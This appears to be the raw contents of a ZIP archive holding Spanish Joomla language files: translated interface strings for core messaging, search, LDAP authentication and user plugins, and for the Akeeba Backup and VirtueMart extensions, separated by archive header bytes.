Google"PK@y>\O-language/es-ES/es-ES.plg_editors_none.sys.ininuW+A; $Id: es-ES.plg_editors_none.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_EDITORS_NONE="Editor - Sin editor" PLG_NONE_XML_DESCRIPTION="Esto carga un campo de introducción de texto básico." PK@y>\w.11$language/es-ES/es-ES.mod_akadmin.ininuW+A# $Id: es-ES.mod_akadmin.ini 738 2011-06-15 13:11:38Z nikosdion $ # Akeeba # Copyright (C) 2006 - 2010 Nicholas K. Dionysopoulos. All rights reserved. # License http://www.gnu.org/licenses/gpl-3.0.html GNU/GPL version 3, or later # Note : All ini files need to be saved as UTF-8 - No BOM # Revisado: www.gnumla.com - 15.04.10 - Isidro Baquero y Carlos Cámara # # Administrador del módulo de traducción # AKEEBA_NOT_ENABLED="Akeeba Backup no está activo en este sitio" LBL_WARNINGS="Activar el icono de advertencias" DESC_WARNINGS="Cuando está activo, el icono del logo de Akeeba Backup muestra una pequeña señal de advertencia si el respaldo falló o no está actualizado (ver más abajo)." LBL_WARNFAILED="Avisar si el respaldo falló" DESC_WARNFAILED="Aún cuando las opciones anteriores estén habilitadas, un icono de advertencia aparece si el último respaldo falló." LBL_PERIOD="Determine el tiempo entre respaldos, en horas" DESC_PERIOD="Suponga que un respaldo es inservible o antigua si han pasado muchas horas desde la última copia correcta. Si la copia de seguridad es inservible o antigua, un icono de advertencia se muestra si la primera opción está habilitada." LBL_YES="Activar" LBL_NO="Desactivar" LBL_AKEEBA="El respaldo está al día" LBL_BACKUPREQUIRED="¡Es necesario hacer un respaldo del sitio!" PK@y>\J%language/es-ES/es-ES.com_messages.ininuW+A; $Id: es-ES.com_messages.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_MESSAGES="Mensajería" COM_MESSAGES_ADD="Nuevo mensaje privado" COM_MESSAGES_CONFIG_SAVED="La configuración ha sido guardada correctamente" COM_MESSAGES_CONFIGURATION="Configuración de los mensajes" COM_MESSAGES_ERR_INVALID_USER="El usuario no es válido" COM_MESSAGES_ERR_SEND_FAILED="El usuario tiene bloqueada su bandeja de entrada. No se ha podido enviar el mensaje." COM_MESSAGES_ERROR_INVALID_FROM_USER="El destinatario no es válido" COM_MESSAGES_ERROR_INVALID_MESSAGE="El contenido del mensaje es inválido" COM_MESSAGES_ERROR_INVALID_SUBJECT="El asunto del mensaje no es válido" COM_MESSAGES_ERROR_INVALID_TO_USER="El remitente no es válido" COM_MESSAGES_FIELD_AUTO_PURGE_DESC="Purgar los mensajes privados automáticamente después de un número de días determinado." COM_MESSAGES_FIELD_AUTO_PURGE_LABEL="Purgar los mensajes automáticamente (días)" COM_MESSAGES_FIELD_DATE_TIME_LABEL="Publicado" COM_MESSAGES_FIELD_LOCK_DESC="Bloquea su bandeja de entrada." COM_MESSAGES_FIELD_LOCK_LABEL="Bloquear la bandeja de entrada" COM_MESSAGES_FIELD_MAIL_ON_NEW_DESC="Se enviará un correo electrónico cuando llegue un nuevo mensaje privado." COM_MESSAGES_FIELD_MAIL_ON_NEW_LABEL="Notificar la recepción de mensajes nuevos" COM_MESSAGES_FIELD_MESSAGE_DESC="Debe introducir un mensaje." COM_MESSAGES_FIELD_MESSAGE_LABEL="Mensaje" COM_MESSAGES_FIELD_SUBJECT_DESC="Debe introducir un asunto." COM_MESSAGES_FIELD_SUBJECT_LABEL="Asunto" COM_MESSAGES_FIELD_USER_ID_FROM_LABEL="Destinatario" COM_MESSAGES_FIELD_USER_ID_TO_DESC="Debe seleccionar un destinatario." COM_MESSAGES_FIELD_USER_ID_TO_LABEL="Destinatario" COM_MESSAGES_HEADING_FROM="De" COM_MESSAGES_HEADING_READ="Leer" COM_MESSAGES_HEADING_SUBJECT="Asunto" COM_MESSAGES_INVALID_REPLY_ID="El destinatario no es válido" COM_MESSAGES_MANAGER_MESSAGES="Gestor de mensajes privados: Mensajes" COM_MESSAGES_MARK_AS_READ="Marcar como leído" COM_MESSAGES_MARK_AS_UNREAD="Marcar como no leído" COM_MESSAGES_MY_SETTINGS="Su configuración" COM_MESSAGES_N_ITEMS_DELETED="%d mensajes han sido borrados correctamente" COM_MESSAGES_N_ITEMS_DELETED_1="El mensaje ha sido borrado correctamente" COM_MESSAGES_N_ITEMS_PUBLISHED="%d mensajes han sido marcados como leídos correctamente" COM_MESSAGES_N_ITEMS_PUBLISHED_1="El mensaje ha sido marcado como leído correctamente" COM_MESSAGES_N_ITEMS_TRASHED="%d mensajes han sido movidos a la papelera correctamente" COM_MESSAGES_N_ITEMS_TRASHED_1="El mensaje ha sido movido a la papelera correctamente" COM_MESSAGES_N_ITEMS_UNPUBLISHED="%d mensajes han sido marcados como no leídos correctamente" COM_MESSAGES_N_ITEMS_UNPUBLISHED_1="El mensaje ha sido marcado como no leído correctamente" COM_MESSAGES_NEW_MESSAGE_ARRIVED="Ha llegado un nuevo mensaje de %s" COM_MESSAGES_NO_ITEM_SELECTED="Sin mensajes seleccionados" COM_MESSAGES_OPTION_READ="Leído" COM_MESSAGES_OPTION_UNREAD="No leído" COM_MESSAGES_PLEASE_LOGIN="Por favor, identifíquese en %s para leer sus mensajes." COM_MESSAGES_RE="Re:" COM_MESSAGES_READ="Mensajes" COM_MESSAGES_READ_PRIVATE_MESSAGE="Leer el mensaje privado" COM_MESSAGES_SEARCH_IN_SUBJECT="Buscar en el asunto del mensaje o en su descripción " COM_MESSAGES_TOOLBAR_MARK_AS_READ="Marcar como leído" COM_MESSAGES_TOOLBAR_MARK_AS_UNREAD="Marcar como no leído" COM_MESSAGES_TOOLBAR_MY_SETTINGS="Mi configuración" COM_MESSAGES_TOOLBAR_REPLY="Responder" COM_MESSAGES_TOOLBAR_SEND="Enviar" COM_MESSAGES_VIEW_PRIVATE_MESSAGE="Gestor de mensajes privados: Ver mensaje" COM_MESSAGES_WRITE_PRIVATE_MESSAGE="Gestor de mensajes privados: Escribir un mensaje privado" COM_MESSAGES_XML_DESCRIPTION="Componente para dar soporte de mensajería privada en la administración" JLIB_APPLICATION_SAVE_SUCCESS="Mensaje enviado correctamente." JLIB_RULES_SETTING_NOTES="1. Si cambia la configuración, las modificaciones se aplicarán sobre este componente. Note que:
              Heredado quiere decir que, para determinar el estado del permiso, se tendrá en cuenta lo que haya asignado desde la configuración global y desde los grupos de nivel superior.
              Denegado quiere decir que da igual como esté configurado el estado de los permisos sobre esa acción desde la configuración global, o desde los grupos de nivel superior a los que pertenezca el grupo que desee configurar; es decir, al grupo al que le cambie el estado del permiso a 'Denegado' desde este apartado, no podrá realizar esa acción sobre este componente (incluyendo a todos sus subgrupos, si tuviera).
              Permitido quiere decir que el grupo al que le cambie el estado de la acción a 'Permitido' desde aquí, podrá realizar esa acción sobre este componente (pero si esta configuración entra en conflicto con lo asignado desde la configuración global, o con lo asignado en los grupos de nivel superior a los que pertenezca el grupo que desee reconfigurar, la configuración que aplique desde aquí no tendrá efecto, y el conflicto será indicado con un No permitido (bloqueado) debajo del estado de configuración calculada).
              2. Si realiza algún cambio en la configuración, haga clic en Guardar para que se pueda recalcular la nueva configuración." PK@y>\B9) -language/es-ES/es-ES.com_virtuemart_media.ininuW+ACOM_VIRTUEMART_FILES_FORM="Formulario de archivos de producto" COM_VIRTUEMART_FILES_FORM_ALREADY_ATTACHED_FILE="archivo ya anexado" COM_VIRTUEMART_FILES_FORM_ALREADY_ATTACHED_FILE_PRIMARY="archivo primario anexado" COM_VIRTUEMART_FILES_FORM_AUTO_THUMBNAIL="Crear thumbnail" COM_VIRTUEMART_FILES_FORM_CURRENT_FILE="Archivo actual" COM_VIRTUEMART_FILES_FORM_CURRENT_FULL_IMAGE="Imagen completa actual" COM_VIRTUEMART_FILES_FORM_CURRENT_THUMB_IMAGE="Thumb de imagen actual" COM_VIRTUEMART_FILES_FORM_DOWNLOADABLE="Archivo descargable" COM_VIRTUEMART_FILES_FORM_FILE="Archivo adicional" COM_VIRTUEMART_FILES_FORM_FILE_DESCRIPTION="Descripción mostrada" COM_VIRTUEMART_FILES_FORM_FILE_META="Etiquetas" COM_VIRTUEMART_FILES_FORM_FILE_PUBLISHED="¿Archivo publicado?" COM_VIRTUEMART_FILES_FORM_FILE_TITLE="Título mostrado" COM_VIRTUEMART_FILES_FORM_FILE_URL="Url usada" COM_VIRTUEMART_FILES_FORM_FILE_URL_THUMB="Url de imagen miniatura usada" COM_VIRTUEMART_FILES_FORM_IMAGE="Imagen adicional" COM_VIRTUEMART_FILES_FORM_IMAGETYPES_SUPPORTED="Archivos aceptados para creación de Thumbs" COM_VIRTUEMART_FILES_FORM_LOCATION="Almacenamiento de la ubicación / tipo" COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_NOT_SUPPORTED="Este servidor no soporta reconocimiento de tipos MIME, usando tabla" COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_SUPPORTED="El servidor soporta reconocimiento de tipos MIME" COM_VIRTUEMART_FILES_FORM_PRODUCT_IMAGE="Imagen de producto (Completa y thumb)" COM_VIRTUEMART_FILES_FORM_RESIZE_IMAGE="¿Redimensionar imagen completa?" COM_VIRTUEMART_FILES_FORM_ROLE="Rotar" COM_VIRTUEMART_FILES_FORM_UPLOAD_DOWNLOADPATH="Directorio de descarga estándar" COM_VIRTUEMART_FILES_FORM_UPLOAD_IMAGEPATH="Directorio de imágenes estándar" COM_VIRTUEMART_FILES_FORM_UPLOAD_TO="Subido a" COM_VIRTUEMART_FILE_DESCRIPTION="Descripción de archivo" COM_VIRTUEMART_FILE_MIMETYPE="Mimetype de archivo" COM_VIRTUEMART_FILE_TITLE="Título" COM_VIRTUEMART_FILE_UPLOAD="Subir Archivo" COM_VIRTUEMART_FILE_URL="Url" COM_VIRTUEMART_FORM_IMAGE_DELETE_LBL="Borrar imagen" COM_VIRTUEMART_FORM_MEDIA_CREATE_THUMBNAIL="Crear imagen miniatura" COM_VIRTUEMART_FORM_MEDIA_DELETE="borrar" COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE="Visible" COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE="Descargable" COM_VIRTUEMART_FORM_MEDIA_NO_ATTRIB="Sin atributos" COM_VIRTUEMART_FORM_MEDIA_SET_CATEGORY="categoría" COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE="a la venta" COM_VIRTUEMART_FORM_MEDIA_SET_MANUFACTURER="fabricante" COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCT="producto" COM_VIRTUEMART_FORM_MEDIA_SET_VENDOR="vendedor" COM_VIRTUEMART_FORM_MEDIA_UPLOAD="subir" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_ATTACH="subir y anexar" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_DELETE="subir y borrar" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE="remplazar" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE_THUMB="reemplazar imagen miniatura" COM_VIRTUEMART_IMAGE="Imagen" COM_VIRTUEMART_IMAGE_ACTION="Acción de imagen" COM_VIRTUEMART_IMAGE_ATTACH_EXISTING="--Selección de imagen--" COM_VIRTUEMART_IMAGE_ATTACH_NEW="Nueva imagen anexada" COM_VIRTUEMART_IMAGE_DETACH="Desanexar imagen" COM_VIRTUEMART_IMAGE_EDIT_INFO="Editar Información de Imagen" COM_VIRTUEMART_IMAGE_INFORMATION="Información de la imagen" COM_VIRTUEMART_IMAGE_NOT_FOUND="Imagen no encontrada" COM_VIRTUEMART_IMAGE_REMOVE="Borra Imagen" COM_VIRTUEMART_MEDIA_LIST="Lista de archivos del producto" COM_VIRTUEMART_SEARCH_MEDIA_TIP="Escriba un espacio para mostrar todas las imágenes o las primeras letras de un título de imagen" PK@y>\Jukk+language/es-ES/es-ES.com_virtuemart.sys.ininuW+A; $Id: en-GB.com_virtuemart.ini 2653 2010-11-11 13:28:42Z milbo $ ; VirtueMart Project ; Copyright (C) 2008 VirtueMart, 2009 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; System COM_VIRTUEMART="VirtueMart" COM_VIRTUEMART_DESCRIPTION="Tienda en linea / Sistema completo de comercio electrónico para Joomla 1.5+" COM_VIRTUEMART_INSTALLATION_SUCCESSFUL="La instalación fue EXITOSO" COM_VIRTUEMART_INSTALL_DONATION="Por favor, considera una pequeÒa donación para mantenernos trabajando en este componente" COM_VIRTUEMART_INSTALL_FURTHER_HELP="Ve a VirtueMart Para mas ayuda" COM_VIRTUEMART_INSTALL_GO_SHOP="Ir a la tienda" COM_VIRTUEMART_INSTALL_SAMPLE_DATA="Instalar datos de ejemplo" COM_VIRTUEMART_MENU="VirtueMart" COM_VIRTUEMART_UNINSTALL_NOTE="Desinstalar" COM_VIRTUEMART_UNINSTALL_NOTE_DESC="Desinstalar Virtuemart no remueve las tablas de tu base de datos, esto esta creado intencionalmente para permitirte la actualización a nuevas versiones de VirtueMart.
              Para borrar las tablas borra aquellas con el prefijo _virtuemart_ ." COM_VIRTUEMART_UNINSTALL_THANKYOU="Gracias por usar Virtuemart" COM_VIRTUEMART_UPGRADE_SUCCESSFUL="La actualización fue EXITOSA" VIRTUEMART="VirtueMart" ; components/com_virtuemart/views/cart/tmpl/default.xml COM_VIRTUEMART_CART_VIEW_DEFAULT_DESC="Muestra el carro de compras" COM_VIRTUEMART_CART_VIEW_DEFAULT_TITLE="Carro de compras Virtuemart" ; components/com_virtuemart/views/cart/tmpl/minicart.xml COM_VIRTUEMART_MINICART_DESC="Muestra el mini carro de VirtueMart" COM_VIRTUEMART_MINICART_MENU="Mini carro VirtueMart" ; components/com_virtuemart/views/categories/tmpl/default.xml COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_DESC="Para establecer la categoría PADRE" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_TITLE="Layout de categorías Virtuemart" ; components/com_virtuemart/views/category/tmpl/default.xml COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_DESC="Muestra una solo categoría VirtueMart" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_TITLE="Layout de categorías Virtuemart" COM_VIRTUEMART_SELECT_CATEGORY="Selecciona una categoría" ; components/com_virtuemart/views/manufacturer/tmpl/defaut.xml COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE="Selecciona el fabricante" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_DESC="Muestra un solo fabricante" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_TITLE="Muestra la información detallada del fabricante" ; components/com_virtuemart/views/manufacturer/tmpl/details.xml COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_DESC="Muestra el layout de detalles del fabricante" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_TITLE="Layout de detalles del fabricante" ; components/com_virtuemart/views/orders/tmpl/details.xml COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_DESC="Lista de pedidos Virtuemart" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE="Lista de pedidos Virtuemart" ; components/com_virtuemart/views/productdetails/tmpl/default.xml COM_VIRTUEMART_PRODUCTDETAILS_CHANGE_PRODUCT_BUTTON="Cambiar" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT="Selecciona un Producto" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT_DESC="Crear un link para mostrar el producto seleccionado" COM_VIRTUEMART_PRODUCTDETAILS_PRODUCT="Producto" COM_VIRTUEMART_PRODUCTDETAILS_TO_SET_PRODUCT_VIEW="Para determinar la vista de producto" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_DESC="Muestra un solo producto" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_TITLE="Muestra detalles de producto" ; components/com_virtuemart/views/recommend/tmpl/edit.xml ;COM_VIRTUEMART_RECCOMEND_MENU="VirtueMart Account Maintenance" ;COM_VIRTUEMART_RECOMMEND_MENU_DESC="Displays the VirtueMart Customer Account Maintenance" ; components/com_virtuemart/views/user/tmpl/edit.xml COM_VIRTUEMART_USER_VIEW_DEFAULT_DESC="Muestra Mantenimiento de cuenta VirtueMart" COM_VIRTUEMART_USER_VIEW_DEFAULT_TITLE="Mantenimiento de cuenta VirtueMarte" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_TITLE="Usuario edita dirección" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_DESC="Muestra al usuario editar Dirección" ; components/com_virtuemart/views/virtuemart/tmpl/default.xml COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE="Layout por defecto de Virtuemart" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE_DESC="Muestra la página inicial de Virtuemart" ; components/com_virtuemart/views/vendor/tmpl/ COM_VIRTUEMART_VENDOR_FIELD_SELECT_DESC="Selecciona a vendor" COM_VIRTUEMART_VENDOR_FIELD_SELECT_TITLE="Selecciona un vendedor" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_DESC="Muestra pagina de contacto del vendedor" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_TITLE="Muestra contacto vendedor" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_DESC="Muestra vendedores" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_TITLE="Muestra Vendedores Virtuemart" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_DESC="Muestra informacion del vendedor" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_TITLE="Muestra Detalles del vendedor" COM_VIRTUEMART_VENDOR_VIEW_TOS_DESC="Muestra Terminos del Servicio" COM_VIRTUEMART_VENDOR_VIEW_TOS_TITLE="Muestra Terminos del Servicio" PK@y>\Pkk(language/es-ES/es-ES.plg_user_joomla.ininuW+A; $Id: es-ES.plg_user_joomla.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_USER_JOOMLA="Usuario - Joomla!" PLG_USER_JOOMLA_FIELD_AUTOREGISTER_DESC="Crea automáticamente usuarios registrados cuando es posible" PLG_USER_JOOMLA_FIELD_AUTOREGISTER_LABEL="Crear usuarios automáticamente" PLG_USER_JOOMLA_FIELD_MAILTOUSER_DESC="Cuando un administrador crea una cuenta, con esto se determina si el correo electrónico, el cual contiene su nombre de usuario y contraseña, será enviado al usuario." PLG_USER_JOOMLA_FIELD_MAILTOUSER_LABEL="Notificación de correo al usuario" PLG_USER_JOOMLA_NEW_USER_EMAIL_BODY="Hola, %s\n\n\nHa sido añadido como usuario a %s por un administrador.\n\nEste correo electrónico contiene su nombre de usuario y contraseña para que pueda identificarte en %s\n\nUsuario: %s\nContraseña: %s\n\n\nPor favor, no responda a este mensaje, ya que se genera automáticamente con el único propósito de informarle." PLG_USER_JOOMLA_NEW_USER_EMAIL_SUBJECT="Detalles del nuevo usuario" PLG_USER_JOOMLA_XML_DESCRIPTION="Gestiona la sincronización de usuarios predeterminada de Joomla!" PK@y>\(Q' ' #language/es-ES/es-ES.com_search.ininuW+A; $Id: es-ES.com_search.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_SEARCH="Buscar" COM_SEARCH_ALL_WORDS="Todas las palabras" COM_SEARCH_ALPHABETICAL="Alfabético" COM_SEARCH_ANY_WORDS="Cualquier palabra" COM_SEARCH_CONFIG_FIELD_CREATED_DATE_DESC="Mostrar la fecha de creación" COM_SEARCH_CONFIG_FIELD_CREATED_DATE_LABEL="Fecha de creación" COM_SEARCH_CONFIG_GATHER_SEARCH_STATISTICS_DESC="Registre las frases de búsqueda enviadas por los visitantes." COM_SEARCH_CONFIG_GATHER_SEARCH_STATISTICS_LABEL="Registro de búsquedas" COM_SEARCH_CONFIG_FIELD_OPENSEARCH_NAME_LABEL="Nombre OpenSearch" COM_SEARCH_CONFIG_FIELD_OPENSEARCH_NAME_DESC="Nombre que mostrará el sitio como proveedor de búsquedas." COM_SEARCH_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_LABEL=" Descripción" COM_SEARCH_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_DESC="Descripción que mostrará el sitio como proveedor de búsquedas." COM_SEARCH_CONFIGURATION="Opciones del gestor de búsquedas" COM_SEARCH_EXACT_PHRASE="Frase exacta" COM_SEARCH_FIELD_DESC="Palabra, palabras o frase a buscar" COM_SEARCH_FIELD_LABEL="Término de búsqueda (opcional)" COM_SEARCH_FIELD_SEARCH_AREAS_DESC="Mostrar las casillas de selección de búsquedas" COM_SEARCH_FIELD_SEARCH_AREAS_LABEL="Usar las áreas de búsqueda" COM_SEARCH_FIELDSET_OPTIONAL_LABEL="Término de búsqueda opcional" COM_SEARCH_FOR_DESC="Tipo de búsqueda" COM_SEARCH_FOR_LABEL="Buscar" COM_SEARCH_HEADING_PHRASE="Búsqueda realizada" COM_SEARCH_HEADING_RESULTS="Resultados" COM_SEARCH_HIDE_SEARCH_RESULTS="Ocultar los resultados de búsqueda" COM_SEARCH_LOGGING_DISABLED="Registro de búsquedas deshabilitado" COM_SEARCH_LOGGING_ENABLED="Registro de búsquedas habilitado" COM_SEARCH_MANAGER_SEARCHES="Gestor de búsquedas: Análisis de las búsquedas" COM_SEARCH_MOST_POPULAR="Popularidad" COM_SEARCH_NEWEST_FIRST="Primero los nuevos" COM_SEARCH_NO_RESULTS="Desactivado" COM_SEARCH_OLDEST_FIRST="Primero los últimos" COM_SEARCH_ORDERING_DESC="Define en que orden se listarán los resultados" COM_SEARCH_ORDERING_LABEL="Orden de los resultados" COM_SEARCH_SAVED_SEARCH_OPTIONS="Opciones de guardado para búsquedas" COM_SEARCH_SEARCH_IN_PHRASE="Buscar en frases" COM_SEARCH_SHOW_SEARCH_RESULTS="Mostrar los resultados de búsqueda" COM_SEARCH_XML_DESCRIPTION="Componente para funciones de búsqueda" PK@y>\E0language/es-ES/es-ES.plg_authentication_ldap.ininuW+A; $Id: es-ES.plg_authentication_ldap.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_AUTHENTICATION_LDAP="Autentificación - LDAP" PLG_LDAP_FIELD_AUTHMETHOD_DESC="El método de autorización para validar las credenciales" PLG_LDAP_FIELD_AUTHMETHOD_LABEL="Método de autorización" PLG_LDAP_FIELD_BASEDN_DESC="La base 'DN' de su servidor LDAP, Por ejemplo, 'o=midominio.com'" PLG_LDAP_FIELD_BASEDN_LABEL="Base 'DN'" PLG_LDAP_FIELD_EMAIL_DESC="El atributo de LDAP que contiene la dirección de correo electrónico del usuario" PLG_LDAP_FIELD_EMAIL_LABEL="Mapa: correo" PLG_LDAP_FIELD_FULLNAME_DESC="El atributo de LDAP que contiene el nombre completo del usuario" PLG_LDAP_FIELD_FULLNAME_LABEL="Mapa: Nombre completo" PLG_LDAP_FIELD_HOST_DESC="Por ejemplo: 'openldap.mycompany.org'" PLG_LDAP_FIELD_HOST_LABEL="Hospedaje" PLG_LDAP_FIELD_NEGOCIATE_DESC="Negociar el cifrado TLS con el servidor LDAP. Necesita que todo el tráfico sea cifrado desde y hacia su servidor LDAP." PLG_LDAP_FIELD_NEGOCIATE_LABEL="Negociar TLS" PLG_LDAP_FIELD_PASSWORD_DESC="La contraseña de conexión es la contraseña de una cuenta administrativa. Se usa para autentificar, y una vez validado y autentificado, se compara con los métodos de autorización" PLG_LDAP_FIELD_PASSWORD_LABEL="Contraseña de conexión" PLG_LDAP_FIELD_PORT_DESC="El puerto predeterminado es el 389" PLG_LDAP_FIELD_PORT_LABEL="Puerto" PLG_LDAP_FIELD_REFERRALS_DESC="Esta opción asigna el valor de la bandera 'LDAP_OPT_REFERRALS'. En servidores Windows 2003 debe estar configurado en 'No'." PLG_LDAP_FIELD_REFERRALS_LABEL="Seguir envíos" PLG_LDAP_FIELD_SEARCHSTRING_DESC="La cadena de consulta a usar para buscar a un usuario dado. La palabra clave '[search]' se reemplaza dinámicamente por el usuario identificado que se ha facilitado. Una cadena de ejemplo podría ser: 'uid=[search]'. Se pueden usar varias cadenas separadas por una coma. Solo se usa cuando se realizan búsquedas." PLG_LDAP_FIELD_SEARCHSTRING_LABEL="Cadena de búsqueda" PLG_LDAP_FIELD_UID_DESC="El atributo de LDAP que contiene el 'ID' de identificación del usuario. Para la aplicación Active Directory es 'sAMAccountName'" PLG_LDAP_FIELD_UID_LABEL="Mapa: 'ID' de usuario" PLG_LDAP_FIELD_USERNAME_DESC="El nombre de usuario y contraseña de conexión define los parámetros de conexión para la fase del 'DN lookup'. Hay dos opciones disponibles:- 'DN lookup' anónimo: Deja ambos campos en blanco.- Conexión administrativa: El usuario de conexión es el nombre de usuario de una cuenta administrativa (por ejemplo, 'administrator'), y la contraseña de conexión es la contraseña actual de su cuenta administrativa." PLG_LDAP_FIELD_USERNAME_LABEL="Usuario de conexión" PLG_LDAP_FIELD_USERSDN_DESC="La palabra clave '[username]' se reeplazará dinámicamente por el usuario identificado que se ha facilitado. Una cadena de ejemplo podría ser: 'uid=[username], dc=my-domain, dc=com'. Se pueden usar varias cadenas separadas por una coma. Solo se usa en enlazamientos directos." PLG_LDAP_FIELD_USERSDN_LABEL="'DN' del usuario" PLG_LDAP_FIELD_V3_DESC="Predeterminadamente es LDAP2, pero en las últimas versiones de OpenLdap es necesario que los clientes usen LDAPV3" PLG_LDAP_FIELD_V3_LABEL="LDAP V3" PLG_LDAP_FIELD_VALUE_BINDSEARCH="Validar y buscar" PLG_LDAP_FIELD_VALUE_BINDUSER="Validar directamente como usuario" PLG_LDAP_XML_DESCRIPTION="Gestiona la autentificación de usuario frente a un servidor LDAP
              ¡Advertencia! Debe tener al menos un plugin de autentificación habilitado o perderá todo el acceso al sitio." PK@y>\o00'language/es-ES/es-ES.mod_logged.sys.ininuW+A; $Id: es-ES.mod_logged.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_LOGGED="Usuarios identificados" MOD_LOGGED_XML_DESCRIPTION="Este módulo muestra un listado con los usuarios que actualmente se han identificado en el sitio" MOD_LOGGED_LAYOUT_DEFAULT="Predeterminado" PK@y>\P(language/es-ES/es-ES.mod_popular.sys.ininuW+A; $Id: es-ES.mod_popular.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_POPULAR_XML_DESCRIPTION="Este módulo muestra una lista de los artículos más populares que hay actualmente publicados. Algunos de los que se muestren puede que ya hayan expirado, pero seguir siendo de los más populares" MOD_POPULAR="Los más populares" MOD_POPULAR_LAYOUT_DEFAULT="Predeterminado" PK@y>\Aċ'language/es-ES/es-ES.mod_custom.sys.ininuW+A; $Id: es-ES.mod_custom.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_CUSTOM="HTML personalizado" MOD_CUSTOM_XML_DESCRIPTION="Este módulo le permite crear su propio módulo HTML usando un editor WYSIWYG." MOD_CUSTOM_LAYOUT_DEFAULT="Predeterminado" PK@y>\iԕ3language/es-ES/es-ES.plg_content_loadmodule.sys.ininuW+A; $Id: es-ES.plg_content_loadmodule.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CONTENT_LOADMODULE="Contenido - Cargar módulos" PLG_LOADMODULE_XML_DESCRIPTION="Carga las posiciones de módulo dentro de un artículo, Sintaxis: {loadposition user1} o módulos por nombre, Sintaxis {loadmodule mod_login}. Opcionalmente se puede especificar el estilo del módulo y un título específico para loadmodule" PK@y>\gC<language/es-ES/es-ES.plg_vmshipment_weight_countries.sys.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author Valerie Isaksen ; @package VMSHIPMENT ; @subpackage VirtueMart Shipper 